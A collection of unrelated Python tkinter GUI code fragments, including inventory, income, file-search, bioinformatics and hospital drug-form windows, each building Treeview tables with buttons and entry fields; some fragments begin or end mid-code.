"Year") self.insertData("DetailedMachineInventory", "Machine", database, "Year") totalPriceLabel = Label(root, text="Total price for " + str(year) + " is: " + str(self.totalPrice)) totalPriceLabel.place(x = 100, y = 350) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.viewByYear)) # This button will return the user to the expenses option page backButton.place(x = 50, y = 350) # Inserts the detailed values into the detailed table def insertData(self, table, type, database, yearOrMonth): if yearOrMonth == "Year": for row in database.execute("SELECT * FROM %s" % table ): itemdate = row[1] if ( str(self.year.get()) == itemdate[-4:]): name = row[0] purchaseDate = row[1] Quantity = row[3] Price = row[4] self.tree.insert("", "end", values = (name,purchaseDate,Quantity, Price),tag = [name, type] ) self.totalPrice = self.totalPrice + Price self.backFunction = self.viewTotalCostYear else: for row in database.execute("SELECT * FROM %s" % table ): itemdate = row[1] if (self.searchDate == (itemdate[0:(self.lengthMonth + 1)] + itemdate[-4:])): name = row[0] purchaseDate = row[1] Quantity = row[3] Price = row[4] self.tree.insert("", "end", values = (name,purchaseDate,Quantity, Price), tag = [name, type]) self.totalPrice = self.totalPrice + Price self.backFunction = self.viewTotalCostMonth # If entry is double clicked, the table will acknoledge the click and display the detailed table self.tree.bind("<Double-1>", self.displayDetailedInventory) def createDisplayTable(self): for child in root.winfo_children(): child.destroy() self.tree = Treeview(height="15", columns=("Name", "Purchase Date", "Quantity", "Price"))#, "Description")) self.tree.pack() self.tree.heading('#1', text = "Name", anchor = CENTER) self.tree.heading('#2', text = "Purchase Date", anchor = CENTER) self.tree.heading('#3', text = "Quantity", anchor = CENTER) self.tree.heading('#4', text = "Price", anchor = CENTER) self.tree.column('#1', minwidth=0, width = 95) self.tree.column('#2', minwidth=0, width = 95) self.tree.column('#3', minwidth=0, width = 95) self.tree.column('#4', minwidth=0, width = 95) self.tree.column('#0', minwidth=0, width = 0) # This is a helper function that will delete the current widgets of the frame def sequence(self, run): for child in root.winfo_children(): child.destroy() run() def __init__(self, master=None): Frame.__init__(self, master) self.place(); self.inventoryDB = InventoryDatabase() # self.inventoryDB.createTable() self.createOptionButtons()
class IncomeGUI(Frame): inDB = incomeDB() def createIncome(self): addIncome = Button(self, text="Add income", command=lambda: self.sequence(self.addMonth)) addIncome.pack(fill=X, padx=10, pady=20) incomeButton = Button(self, text="View income", command =lambda: self.sequence(self.viewIncome)) incomeButton.pack(fill=X, padx=10, pady=5) backButton = Button(self, text="Back") backButton.pack(side=BOTTOM) def addMonth(self): monthlabel = Label(self, text = "Select Month: ") monthlabel.pack() self.monthChoice = IntVar(self) months = self.numberings(1, 12) self.monthChoice.set(1) self.monthInput = OptionMenu(self, self.monthChoice, *months) self.monthInput.pack() yearlabel = Label(self, text = "Select Year: ") yearlabel.pack() self.yearChoice = IntVar(self) years = self.numberings(2000, 2020) self.yearChoice.set(2000) self.yearInput = OptionMenu(self, self.yearChoice, *years) self.yearInput.pack() nextButton = Button(self, text="Next", command=lambda: self.sequence(self.addIncome)) nextButton.pack() backButton = Button(self, text="Back", command=lambda: self.sequence( self.createIncome)) backButton.pack() def addIncome(self): month = self.monthChoice.get() self.income = income(month) self.income.year = self.yearChoice.get() amountlabel = Label(self, text="Amount of items sold this month: ") amountlabel.pack() self.amountinput = Entry(self) self.amountinput.pack() incomelabel = Label(self, text="Income earned: ") incomelabel.pack() self.incomeinput = Entry(self) self.incomeinput.pack() nextButton = Button(self, text="Next", command= self.saveDetails) nextButton.pack() backButton = Button(self, text="Back", command=lambda: self.sequence( self.createIncome)) backButton.pack() def saveDetails(self): self.income.amount = self.amountinput.get() self.income.income = self.incomeinput.get() self.sequence(self.confirmation) def confirmation(self): year = Label(self, text="Year: ") year.pack() yearin = Label(self, text=self.income.year) yearin.pack() month = Label(self, text="Month: ") month.pack() monthin = Label(self, text=self.income.month) monthin.pack() quantity = Label(self, text="Amount of items sold this month: ") quantity.pack() itemQuantity = Label(self, text=self.income.amount) itemQuantity.pack() price = Label(self, text="Income earned: ") price.pack() itemPrice = Label(self, text=self.income.income) itemPrice.pack() nextButton = Button(self, text="Next", command=lambda: self.sequence(self.addToIncomeDatabase)) nextButton.pack() backButton = Button(self, text="Back", command=lambda: self.sequence( self.createIncome)) backButton.pack() def addToIncomeDatabase(self): self.incomeDB.insertIntoDB(self.income) addedMessage = Message(self, text = "Added to database!") addedMessage.pack() endSessionButton = Button(self, text = "End Session", command=lambda: self.sequence(self.createIncome)) endSessionButton.pack() def viewIncome(self): self.tree = Treeview(height="20", columns=("Year", "Month", "Income")) self.tree.pack() self.tree.heading('#1', text = "Year", anchor = CENTER) self.tree.heading('#2', text = "Month", anchor = CENTER) self.tree.heading('#3', text = "Income", anchor = CENTER) self.tree.column('#1', minwidth=0, width = 100) self.tree.column('#2', minwidth=0, width = 100) self.tree.column('#3', minwidth=0, width = 100) self.tree.column('#0', minwidth=0, width = 0) for row in (self.incomeDB.getInfo()): year = row[1] month = row[0] income = row[3] self.tree.insert("", "end", values = (year,month,income)) backButton = Button(self, text="Back", command=lambda: self.sequence( self.createIncome)) backButton.pack() def sequence(self, funct): for child in self.winfo_children(): child.destroy() funct() def numberings(self, first, last): num = range(first, last + 1) return num def __init__(self, master=None): Frame.__init__(self, master) self.pack() self.createIncome() self.incomeDB = incomeDB() #self.incomeDB.createDB() self.master.title("Income")
class RebuildDialog(Frame): def __init__(self, root, mr: MetaRecord): super().__init__(root, padding=10) self.pack(side=TOP, anchor=N, fill=BOTH, expand=True) self.metarecord = mr self.tree = Treeview(self, padding=5, columns=["timestamp", "data_folder", "included"], selectmode="browse") self.tree.heading(0, text="Backup Name") self.tree.heading("timestamp", text="Timestamp") self.tree.heading("data_folder", text="Data Folder") self.tree.heading("included", text="Included?") self.tree.pack(fill=BOTH, expand=True) self.frm_btns = Frame(self, padding=5) self.frm_btns.pack(side=BOTTOM, anchor=S) self.btn_include = Button(self.frm_btns, text="Toggle Inclusion", command=self._toggle_include) self.btn_include.pack(side=RIGHT, anchor=W) self.btn_gen = Button(self.frm_btns, text="Generate Records", command=self._generate) self.btn_gen.pack(side=RIGHT, anchor=W) self.frm_status = StatusFrame(self) self.frm_status.pack(side=TOP, anchor=N, fill=X, expand=True) self.rebuilder = Rebuilder(mr) self._setup_tree() def _generate(self): queue = self.rebuilder.generate_records() self.listen_for_result(queue) def listen_for_result(self, data_queue: Queue): try: while not data_queue.empty(): res: AsyncUpdate = data_queue.get_nowait() if not res.is_minor(): self.frm_status.set_major( f"[{res.get_completion()}%] {res.message}") self.frm_status.set_progress(res.get_completion()) else: self.frm_status.set_minor(f"|> {res.message}") except queue.Empty: pass finally: if self.rebuilder.thread is not None and ( self.rebuilder.thread.is_alive() or not data_queue.empty()): self.after(100, lambda: self.listen_for_result(data_queue)) def _toggle_include(self): for item in self.tree.selection(): ts, folder, inc = self.tree.item(item, option="values") inc = inc == 'False' self.rebuilder.configure_directory(folder, included=inc) self.tree.item(item, values=[ts, folder, inc]) def _setup_tree(self): self.tree.delete(*self.tree.get_children()) for r, i in self.rebuilder.directories: self.tree.insert("", END, text=r.name, values=[r.timestamp, r.folder, i]) @staticmethod def create_dialog(mr: MetaRecord) -> Toplevel: window = Toplevel() RebuildDialog(window, mr) window.title("MetaRecord Rebuilder") return window
class SearchBox(Frame): '''A Treeview widget on top, Entry on bottom, using queues for interaction with outside functions''' def __init__(self, parent=None, db=DB, fdict={}): Frame.__init__(self, parent) self.Tests = Tests self.db = db self.fdict = dbm.open(self.db, 'c') #self.fdict['**']='' self.db_update = False #will hold the query to be processed self.query = None self.drives = self.get_drives() self.start_func = StartFunc( ) #platform dependent double-click response self.results = iter( ()) #initiating query results as an empty generator self.total_width = self.winfo_screenwidth( ) #to adjust column widths relative to screen size #Remember scorch mode self.scorch = False self.encoding = ENCODING #for scorch mode #self.keylist=self.fdict.keys() self.keylist_index = 0 self.keylist_counter = 0 #keystroke indicator self.counter = 0 #queues for passing search queries and results self.query_queue = Queue() self.result_queue = Queue() #for usage by db generating function self.dbinit_queue = Queue() #--Search Results panel at top self.panel = Treeview(columns=('Path', 'Size', 'Date')) self.panel.pack(expand=True, fill='both') self.panel.heading('#0', text='Name') self.panel.heading(0, text='Path') self.panel.heading(1, text='Size') self.panel.heading(2, text='Date Modified') #--Starting geometry of the search panel try: #start maximized self.panel.master.attributes('-zoomed', 1) except: self.panel.master.state('zoomed') self.panel_width = self.panel.winfo_width() #Name - 2/5-----Path - 2/5-----Size -1/25-----Date -4/25 # '#0' is the 'Name' column self.panel.column('#0', width=int(self.total_width * 0.4)) self.panel.column('Path', width=int(self.total_width * 0.4)) self.panel.column('Size', width=int(self.total_width * 0.06)) self.panel.column('Date', width=int(self.total_width * 0.14)) #--Panel font, style self.font = Font(family='Helvetica', size=11) '''TkDefaultFont - {'family': 'Segoe UI', 'overstrike': 0, 'size': 9, 'slant': 'roman', 'underline': 0, 'weight': normal'}''' self.style = Style() #linespace - adjust the row height to the font, doesn't happen on its own in tkinter self.style.configure('SearchBox.Treeview', font=self.font, rowheight=self.font.metrics('linespace')) self.panel.config(style='SearchBox.Treeview') #alternating background colors self.panel.tag_configure('color1', background='gray85') #, foreground='white') self.panel.tag_configure('color2', background='gray90') #, foreground='white') #'dark sea green', 'wheat3', 'black' #--App title and icon, currently transparent self.panel.master.title('Jiffy') self.icon = PhotoImage(height=16, width=16) self.icon.blank() #transparent icon, works on all but Py35/Win #loading the transparent icon. black on Py35/Win try: self.master.wm_iconphoto('True', self.icon) except: #For some reason this jammed Python 3.5 with Tk 8.6 on Windows self.tk.call('wm', 'iconphoto', self.master._w, self.icon) #--A string variable to monitor input to the Entry box self.entry_var = StringVar() #self.entry_var.set('Type to search. [F5 - Refresh Database]. [F12 - Scorch Mode]') # [Ctrl-O - Options]. [Ctrl-I - Info] self.entry_var.trace('w', self.update_query) #--Entry line on the bottom self.entry_box = Entry(textvariable=self.entry_var) #keep it as a single line on all window sizes self.entry_box.pack(side='bottom', fill='x') #--Widget Bindings #self.master.bind('<Ctrl-Z>', self.quit) #alternative to Alt-F4 self.master.bind('<Control-equal>', self.scaleup) self.master.bind('<Control-Button-4>', self.scaleup) self.master.bind('<Control-minus>', self.scaledown) self.master.bind('<Control-Button-5>', self.scaledown) self.master.bind('<Control-MouseWheel>', self.scale_mouse) self.panel.bind('<Double-1>', self.doubleclick) self.panel.bind('<Return>', self.doubleclick) #allow scrolling and typing without switching focus self.entry_box.bind('<MouseWheel>', self.scroll_from_entry) self.entry_box.bind('<Button-4>', self.scroll_from_entry) self.entry_box.bind('<Button-5>', self.scroll_from_entry) self.master.bind('<F5>', self.make_database) #self.master.bind('<F12>', self.scorch_mode) #--Starting up with entry box active self.entry_box.focus_set() #--Generating a starting message based on existence of a database if not self.fdict: self.panel.insert('', 'end', text='No cache database found', values=('Hit F5 to generate database', )) else: self.panel.insert( '', 'end', text='Type to search. [F5 - Refresh Database]', values=('[Ctrl - +/-/MouseWheel - Adjust font size]', )) # [Ctrl-O - Options]. [Ctrl-I - Info] #self.panel.insert('', 'end', text='Scorch Mode is faster but uses more memory', values=('Loads the entire database into RAM',)) self.update_searchbox() #Initializing the query managing function in a separate thread (upgrade to pool?) thread.start_new_thread( TMakeSearch, (self.fdict, self.query_queue, self.result_queue)) ##GUI functionality-------------------------------------------------------- #O change to initiation from parameter to SearchBox for more modularity def get_drives(event): return GetDrives() def scroll_from_entry(self, event): '''Scroll results without deactivating entry box, called from entry_box''' self.panel.yview_scroll(1, 'units') def scaleup(self, event): '''The Treeview widget won't auto-adjust the row height, so requires manual resetting upon font changing''' self.font['size'] += 1 self.style.configure('SearchBox.Treeview', rowheight=self.font.metrics('linespace') + 1) def scaledown(self, event): self.font['size'] -= 1 self.style.configure('SearchBox.Treeview', rowheight=self.font.metrics('linespace') + 1) def scale_mouse(self, event): self.scaleup(event) if event.delta > 0 else self.scaledown(event) def doubleclick(self, event): '''Invoke default app on double-click or Enter''' #getting file/folder name and removing '[' and ']' for folders selection = self.panel.item(self.panel.focus()) filename = selection['text'] #remove folder indicating square brackets if filename[0] == '[': filename = filename[1:-2] #SPLIT_TOKEN='\\' if 'win' in sys.platform else '/' full_path = selection['values'][0] + SPLIT_TOKEN + filename self.start_func(full_path) def quit(self, event): '''Currently Alt-F4 exits program, in case I want to add more shortcuts. Also add thread closing management here''' self.master.destroy() ##Cheese: update_database()->is_sb_generated(), trace_results(), update_query() def make_database(self, event): '''Using a thread to generate the dictionary to prevent GUI freezing''' #* dbm might not be thread safe - best might be to restart TMakeSearch self.gtime = time() # for testing self.entry_var.set('Updating Database') self.entry_box.icursor('end') #Resulting dicitionay will be passed via dbinint_queue thread.start_new_thread(RecursiveCreateDict, (self.drives, self.dbinit_queue, self.fdict)) #Wait for the dictionary to be generated self.is_db_generated() def is_db_generated(self): '''Update database if available or sleep and try again''' if not self.dbinit_queue.empty(): #A new dictionary was passed #retrieving new dict self.newdict, self.unsearched = self.dbinit_queue.get() #Messaging TMakeSearch to stop querying the dictionary self.db_update = True self.query_queue.put(None) sleep(0.11) #TMakeSearch takes 0.1s naps. Check further ''' if whichdb(self.db) == ('dbhash'): '''For dumbdbm, this jams the app, as does manual updating. it's not dumb, it's just not worthy''' self.fdict.update(self.newdict) else: for key in self.newdict: self.fdict[key] = self.newdict[key] print('fdict is created') self.db_update = False #save new database self.fdict.sync() print('fdict synced') #Open a new TMakeSearch with the updated database #thread.start_new_thread(TMakeSearch, (self.fdict, self.query_queue, self.result_queue)) #Cleaning up self.newdict.clear() self.newdict = None self.gtime = time() - self.gtime #to read about {}.format #also, a label may be simpler self.entry_var.set('Database generation time- ' + str(self.gtime) + 's. Type to search. [F5 - Refresh Database]') #Pass a signal to close TMakeSearch, then reopen it self.query_queue.put(True) thread.start_new_thread( TMakeSearch, (self.fdict, self.query_queue, self.result_queue)) self.entry_box.icursor(0) #self.loading.destroy() self.panel.delete(*self.panel.get_children()) self.panel.insert( '', 0, text='Scorch Mode is faster but uses more memory', values=('Loads database into RAM', )) #self.keylist=fdict.keys() #for scorch mode self.counter = 0 #self.IS_1ST_PRESS=True #for testing #print time()-self.start #print self.dict_size() else: self.after(100, self.is_db_generated) def update_searchbox(self): '''Update GUI with new result batches ''' self.even = True #for splitting size and date from the keys self.separator = ' * '.encode(self.encoding) while not self.result_queue.empty(): qresult = self.result_queue.get() #print ('is_batch_recieved:', qresult) #if qcounter==self.counter: #currently assuming results will arrive by querying order #break try: #if nothing in queue this will raise an error, saves a preemptive if clause self.results, self.is_new = qresult if Tests.is_batch_recieved: print('is_batch_recieved:', self.results) except: pass #no new results if Tests.is_batch_recieved: print('is_batch_recieved: no new results') else: #if self.panel.get_children()!=(): #results for a newer query, erase old results if self.is_new: self.panel.delete(*self.panel.get_children()) for key in self.results: try: name, size, date = key.decode(self.encoding).split(u'*') #name, size, date=key.split(self.separator) if Tests.is_result_parsed: print(name) except: if Tests.is_result_parsed: print('parsing issue with', key) else: path = self.fdict[key].decode(self.encoding) '''if 'win' in sys.platform and top[0] is u'/': top=u'C:\\'+top[1:] ''' color = 'color1' if self.even else 'color2' self.even = not self.even self.panel.insert('', 'end', text=name, values=(path, size, date), tags=(color, )) self.after(60, self.update_searchbox) def update_query(self, x=None, y=None, z=None): '''Invoked by StringVar().trace() method, which passes 3 arguments that are honorably ditched ''' #Deactivate while switching dictionaries if self.db_update: pass #Cleaning up for 1st keystroke or after a message in the Entry box if not self.counter: '''Entry box needs to be cleaned, the new char put in and the cursor placed after it''' #get&set the 1st search char. user may've changed cursor location b4 typing self.entry_var.set( self.entry_var.get()[self.entry_box.index(INSERT) - 1]) #move cursor after the first char self.entry_box.icursor(1) #counter goes up either way self.counter += 1 self.query = self.entry_var.get() self.query_queue.put(self.query) if Tests.is_query_sent: print(self.query) print(self.counter) ##Not in use ---------------------------------------------------------------- def trace_query(self): '''If I opt for periodically checking the StringVar''' if self.counter: #when counter=0 there's a message/notification in the entry box if self.query != self.entry_var.get(): self.query = self.entry_var.get() self.query_queue.put(self.query) self.after(100, self.trace_query) def trace_and_update(self): ''' In-GUI implementation of query searching, uses a list for iterating over the keys''' '''works smoother when results are generated quickly, but with sparse results GUI becomes unresponsive for short whiles. Relevant only if results are guaranteed to be generated swiftly''' #print self.query #if new query, resetting search parameters and GUI if self.query != self.entry_var.get(): self.keylist_counter = 0 self.query = self.entry_var.get() self.search_list = self.query.lower().split() self.panel.delete(*self.panel.get_children()) self.insertion_counter = 0 self.keylist_index = self.keylist_counter for key in self.keylist[self.keylist_index:]: filename = key.split('*')[0].lower() #If a match, parse and add to the Treeview if self.all(token in filename for token in self.search_list): name, size, date = key.split('*') self.panel.insert('', 'end', text=name, values=(self.fdict[key], size, date)) self.insertion_counter += 1 self.keylist_counter += 1 if self.insertion_counter >= self.INSERTIONS_PER_CYCLE: #50 ##or not dict_counter: break #nap time self.after(60, self.trace_and_update)
b_load = Button(f_input, text=L_LOAD, command=load) b_load.grid(row=5, columnspan=2, sticky=W + E) # endregion input # region content tree = Treeview(f_content, selectmode='browse') tree["columns"] = ("#1", "#2") tree.column("#0", width=80, stretch=NO) tree.column("#1", width=80, stretch=NO, anchor=CENTER) tree.column("#2", width=400) tree.heading("#0", text=L_DATE) tree.heading("#1", text=L_RATING) tree.heading("#2", text=L_MOVIE) # Scrollbar sb_vertical = Scrollbar(f_content, orient=VERTICAL, command=tree.yview) sb_vertical.pack(side=RIGHT, fill=Y) tree.configure(yscrollcommand=sb_vertical.set) # onClick (open url) tree.bind("<Double-1>", link_tree) tree.pack(fill=BOTH, expand=True) # endregion content # region footer statusText = StringVar() status = Label(f_footer, textvariable=statusText) status.pack() progress = Progressbar(f_footer, orient=HORIZONTAL, mode='determinate') progress.pack(fill=X) # endregion footer root.mainloop()
class BioInfo(Tk): def __init__(self): Tk.__init__(self) self.wm_title("BioInfo : comparaison des listes") self.resizable(width=FALSE, height=FALSE) self.SortDir = False # Lists Types self.typeList1 = None self.typeList2 = None # Frame content self.frameContent = Frame(self) self.frameContent.pack(side=TOP, fill=X) # ScrollBar scrollbar = Scrollbar(self.frameContent, orient=VERTICAL) scrollbar.pack(side=RIGHT, fill=Y) # Result Content self.dataCols = ('microArn_A', 'microArn_B', 'FoldC', 'p-Value', 'Note') self.tree = Treeview(self.frameContent, columns=self.dataCols, show = 'headings', yscrollcommand=scrollbar.set) # configure column headings for c in self.dataCols: self.tree.heading(c, text=c, command=lambda c=c: self.columnSort(c, self.SortDir)) self.tree.column(c, width=10) self.tree.pack(side=LEFT, fill=X, expand="yes") scrollbar.config(command=self.tree.yview) # Frame Lists self.frameLists = Frame(self) self.frameLists.pack(side=LEFT) # Frame Forms self.frameForms = Frame(self) self.frameForms.pack(side=LEFT, padx=20) #Liste n°1 selection self.frameList1 = Frame(self.frameLists) self.frameList1.pack() self.typeListStr1 = StringVar(self.frameList1) self.typeListStr1.set(str(ListBioType.TypeA)) self.buttonTypeList1 = OptionMenu(self.frameList1, self.typeListStr1, str(ListBioType.TypeA), str(ListBioType.TypeB)).pack(side=LEFT) self.entrylist1 = Entry(self.frameList1, width=30) self.entrylist1.pack(side=LEFT) self.buttonBrowseList1 = Button(self.frameList1, text="Parcourir", command=self.load_fileList1, width=10) self.buttonBrowseList1.pack(side=LEFT, padx=5) # List n°2 selection self.frameList2 = Frame(self.frameLists) self.frameList2.pack(side=BOTTOM) self.typeListStr2 = StringVar(self.frameList2) self.typeListStr2.set(str(ListBioType.TypeB)) self.buttonTypeList2 = OptionMenu(self.frameList2, self.typeListStr2, str(ListBioType.TypeA), str(ListBioType.TypeB)).pack(side=LEFT) self.entrylist2 = Entry(self.frameList2, width=30) self.entrylist2.pack(side=LEFT) self.buttonBrowseList2 = Button(self.frameList2, text="Parcourir", command=self.load_fileList2, width=10) self.buttonBrowseList2.pack(side=LEFT, padx=5) # Form pValue self.framePVal = Frame(self.frameForms) self.framePVal.pack() Label(self.framePVal, text="pValue").pack(side=LEFT) self.entryPVal = Entry(self.framePVal, width=6) self.entryPVal.pack(side=LEFT) # Form foldC self.frameFoldC = Frame(self.frameForms) self.frameFoldC.pack() Label(self.frameFoldC, text="foldCh").pack(side=LEFT) self.entryFoldC = Entry(self.frameFoldC, width=6) self.entryFoldC.pack(side=LEFT) # Form note self.frameNote = Frame(self.frameForms) self.frameNote.pack() Label(self.frameNote, text="note ").pack(side=LEFT) self.entryNote = Entry(self.frameNote, width=6) self.entryNote.pack(side=LEFT) # Bouton comparer self.buttonComparer = Button(self, text="Comparer", command=self.compare, width=10, state=DISABLED) self.buttonComparer.pack(fill= X, expand="yes", padx=20, pady=(10,0)) #Bouton exporter self.buttonExport = Button(self, text="Exporter", command=self.export, width=10, state=DISABLED) self.buttonExport.pack(fill= X, expand="yes", padx=20) # Réinitialiser self.buttonReset = Button(self, text="Réinitialiser", command=self.reset, width=10) self.buttonReset.pack(fill= X, expand="yes", padx=20, pady=(0,10)) # file members self.list1 = None self.list2 = None def load_fileList1(self): fname = askopenfilename(filetypes=(("CSV files", "*.csv"), ("All files", "*.*") )) if fname: self.entrylist1.delete(0, END) self.list1 = fname self.entrylist1.insert(0,fname) self.buttonComparer.config(state=NORMAL) def load_fileList2(self): fname = askopenfilename(filetypes=(("CSV files", "*.csv"), ("All files", "*.*") )) if fname: self.entrylist2.delete(0, END) self.list2 = fname self.entrylist2.insert(0,fname) self.buttonComparer.config(state=NORMAL) else: showerror("Erreur : fichier B", "La liste B est introuvable") def resetTree (self): for i in self.tree.get_children(): self.tree.delete(i) def reset(self): self.list1 = None self.entrylist1.delete(0, END) self.list2 = None self.entrylist2.delete(0, END) self.entryPVal.delete(0,END) self.entryFoldC.delete(0, END) self.entryNote.delete(0, END) self.typeList1 = None self.typeList2 = None self.buttonExport.config(state=DISABLED) self.buttonComparer.config(state=DISABLED) self.resetTree() def isValidfoldC(self, s): try: float(s) return True except ValueError: return False def isValidPValue(self, s): try: f = float(s) if f >= 0 and f <= 1: return True else: return False except: return False def isValidNote (self, s): try: f = int(s) return True except: return False def compare(self): self.buttonExport.config(state=NORMAL) # Détermination type Listes # List 1 if self.typeListStr1.get() == str(ListBioType.TypeA): self.typeList1 = ListBioType.TypeA elif self.typeListStr1.get() == str(ListBioType.TypeB): self.typeList1 = ListBioType.TypeB else: self.typeList1 = None # List 2 if self.typeListStr2.get() == str(ListBioType.TypeA): self.typeList2 = ListBioType.TypeA elif self.typeListStr2.get() == str(ListBioType.TypeB): self.typeList2 = ListBioType.TypeB else: self.typeList2 = None if not self.isValidfoldC(self.entryFoldC.get()) and not self.entryFoldC.get() == "": showerror("Erreur : foldC","La valeur fold Change n'est pas un nombre") elif not self.isValidPValue(self.entryPVal.get()) and not self.entryPVal.get() == "": showerror("Erreur : pValue","La valeur pValue n'est pas un nombre compris entre 0 et 1") elif not self.isValidNote(self.entryNote.get()) and not self.entryNote.get() == "": showerror("Erreur : note", "La valeur note n'est pas un nombre entier") # (List A and No List) or (No List and List A) elif ((self.list1 is not None and self.typeList1 == ListBioType.TypeA) and (self.list2 is None)) or\ ((self.list2 is not None and self.typeList2 == ListBioType.TypeA) and (self.list1 is None)): self.resetTree() try: listComp = ListComparator(self.list1, self.list2, self.entryPVal.get(), self.entryFoldC.get(), self.entryNote.get()) for e in listComp.getFilterListA(): self.tree.insert('', 'end', values=e) except IndexError: showerror("Erreur : liste A invalide", "Le fichier liste A n'est pas un fichier valide") # (List B and No List) or (No List and List B) elif ((self.list1 is not None and self.typeList1 == ListBioType.TypeB) and (self.list2 is None)) or\ ((self.list2 is not None and self.typeList2 == ListBioType.TypeB) and (self.list1 is None)): self.resetTree() try: listComp = ListComparator(self.list1, self.list2, self.entryPVal.get(), self.entryFoldC.get()) for e in listComp.getFilterListB(): self.tree.insert('', 'end', values=e) except IndexError: showerror("Erreur : liste A invalide", "Le fichier liste A n'est pas un fichier valide") # (List A and List B) or (List B and List A) elif ((self.list1 is not None and self.typeList1 == ListBioType.TypeA) and \ (self.list2 is not None and self.typeList2 == ListBioType.TypeB)) or \ ((self.list1 is not None and self.typeList1 == ListBioType.TypeB) and \ (self.list2 is not None and self.typeList2 == ListBioType.TypeA)): self.resetTree() listA = "" listB = "" if self.typeList1 == ListBioType.TypeA: listA = self.list1 else: listA = self.list2 if self.typeList1 == ListBioType.TypeB: listB = self.list1 else: listB = self.list2 try: listComp = ListComparator(listA, listB, self.entryPVal.get(), self.entryFoldC.get(), self.entryNote.get()) for e in listComp.getDiffAandB(): self.tree.insert('', 'end', values=e) except IndexError: showerror("Erreur : liste A ou B invalide", "Le fichier liste A ou B n'est pas un fichier valide") # (List A and List A) elif ((self.list1 is not None and self.typeList1 == ListBioType.TypeA) and \ (self.list2 is not None and self.typeList2 == ListBioType.TypeA)): self.resetTree() try: listComp = ListComparator(self.list1, self.list2, self.entryPVal.get(), self.entryFoldC.get(), self.entryNote.get()) for e in listComp.getDiffAandA(): self.tree.insert('', 'end', values=e) except IndexError: showerror("Erreur : liste A ou B invalide", "Le fichier liste A ou B n'est pas un fichier valide") # (List B and List B) elif ((self.list1 is not None and self.typeList1 == ListBioType.TypeB) and \ (self.list2 is not None and self.typeList2 == ListBioType.TypeB)): self.resetTree() try: listComp = ListComparator(self.list1, self.list2, self.entryPVal.get(), self.entryFoldC.get()) for e in listComp.getDiffBandB(): self.tree.insert('', 'end', values=e) except IndexError: showerror("Erreur : liste A ou B invalide", "Le fichier liste A ou B n'est pas un fichier valide") else: showerror("Erreur : Combinaisons de listes invalides", "Votre choix de types de listes ne correspond à aucune combinaison possible, contacter le developpeur") def export(self): if len(self.tree.get_children()) == 0: showinfo("Export", "Il n'y a rien à exporter") return fname = asksaveasfilename(filetypes=(("CSV files", "*.csv"), ("All files", "*.*") )) if fname: resExp = [] for it in self.tree.get_children(): resExp.append(self.tree.item(it)["values"]) expTabToCSV = TreeExportator(resExp, fname) expTabToCSV.export() showinfo("Export", "Exportation au format CSV réussi") def columnSort (self, col, descending=False): data = [(self.tree.set(child, col), child) for child in self.tree.get_children('')] data.sort(reverse=descending) for indx, item in enumerate(data): self.tree.move(item[1], '', indx) # reverse sort direction for next sort operation self.SortDir = not descending
def drug(): global t_id,t_name,t_formula,t_drug_cost global rootd,regform,id,name,formula,drug_cost,c1,c2,\ SUBMIT,back,SEARCH,DELETE,UPDATE, CLEAR global copy_of_image, label, rootd global l_drug_name, l_drug_formula, l_drug_id, l_drug_price, right_frame, tr, count rootd= Toplevel() rootd.title("DRUG FORM") rootd.configure(background='black') rootd.geometry("1920x1080") copy_of_image = Image.open("images/hospital.jpeg") photo = ImageTk.PhotoImage(copy_of_image) label = Label(rootd, image=photo) label.place(x=0, y=0, relwidth=1, relheight=1) label.bind('<Configure>', resize_image) center_frame = Frame(rootd, relief='raised', borderwidth=2) # center_frame.pack(fill=None, expand=False) center_frame.place(relx=0.1, rely=0.2, anchor=W) regform= Label(center_frame,text="DRUG FORM",font="helvetica 19 bold") regform.pack() id= Label(center_frame,text="DRUG ID") id.pack() t_id= Entry(center_frame) t_id.pack() name= Label(center_frame,text="DRUG NAME") name.pack() t_name = Entry(center_frame) t_name.pack() formula= Label(center_frame,text="FORMULA") formula.pack() t_formula= Entry(center_frame) t_formula.pack() drug_cost = Label(center_frame, text="DRUG COST") drug_cost.pack() t_drug_cost = Entry(center_frame) t_drug_cost.pack() SUBMIT = Button(center_frame, text=" SUBMIT ", command=IN_DRUG) SUBMIT.pack() back= Button(center_frame,text="<< BACK",command=ex) back.pack() CLEAR = Button(center_frame, text=" CLEAR ", command=clear_text) CLEAR.pack() CLEAR_TREE = Button(rootd, text=" Clear the table ", command=clear_tree) CLEAR_TREE.place() CLEAR_TREE.pack() # right_frame = Frame(rootd, relief='raised', borderwidth=3) # # center_frame.pack(fill=None, expand=False) # right_frame.place(relx=0.65, rely=0.15, anchor=E) style = Style() style.configure("BW.TLabel", foreground="white", background="black") x, y = 70, 20 # use tree view to show the data in forms of table # mention the number of columns tr = Treeview(rootd, columns=('A', 'B', 'C', 'D'), style="BW.TLabel", selectmode="extended") # heading key + text tr.heading('#0', text='Sr no') tr.column('#0', minwidth=0, width=100, stretch=NO) tr.heading('#1', text='Drug Name') tr.column('#1', minwidth=0, width=100, stretch=NO) tr.heading('#2', text='Drug Formula') tr.column('#2', minwidth=0, width=100, stretch=NO) tr.heading('#3', text='Drug Id') tr.column('#3', minwidth=0, width=100, stretch=NO) tr.heading('#4', text='Drug Price') tr.column('#4', minwidth=0, width=100, stretch=NO) show_records() tr.place(x=50, y=y + 50) tr.pack(expand=True, fill='y') # SEARCH= Button(center_frame,text=" SEARCH >> ",command=P_display) # SEARCH.pack() # DELETE= Button(center_frame,text=" DELETE ",command=D_display) # DELETE.pack() # UPDATE= Button(center_frame,text=" UPDATE ",command=P_UPDATE) # UPDATE.pack() rootd.mainloop()
class ReplayTutor2(Tutor): """ ReplayTutor: a tutor for testing/backup purposes, that re-sends messages to plugins. """ def __init__(self, entity_id, api_key, logger, run_once=None, args=None): super().__init__(entity_id, api_key, self.main_callback, run_once=run_once) self.run_once = run_once self.logger = logger self.student_id_value = None self.session_id_value = None self.root = None self.status = None self.student_id = None self.session_id = None self.problem_name = None self.step_name = None self.transaction_id = None self.outcome = None self.skillbox = None self.button = None self.import_button = None self.kt_button = None self.attr_name = None self.attr_value = None self.attr_button = None self.skill_id = None self.kt_button = None self.response_box = None self.json_in = None def post_connect(self): self.send("tutorgen.add_student",{},self.new_student_callback) def setup_gui(self): #main window self.root = Tk() self.root.wm_title("Transaction Replay Tutor") self.root.minsize(400,400) #menu menubar = Menu(self.root) menubar.add_command(label="Import Datashop File", command=self.import_datashop_file) menubar.add_command(label="Quit", command=self.root.quit) self.root.config(menu=menubar) #listbox w = Label(self.root, text="Transaction") w.pack(fill=X) frame = Frame() scrollbar = Scrollbar(frame, 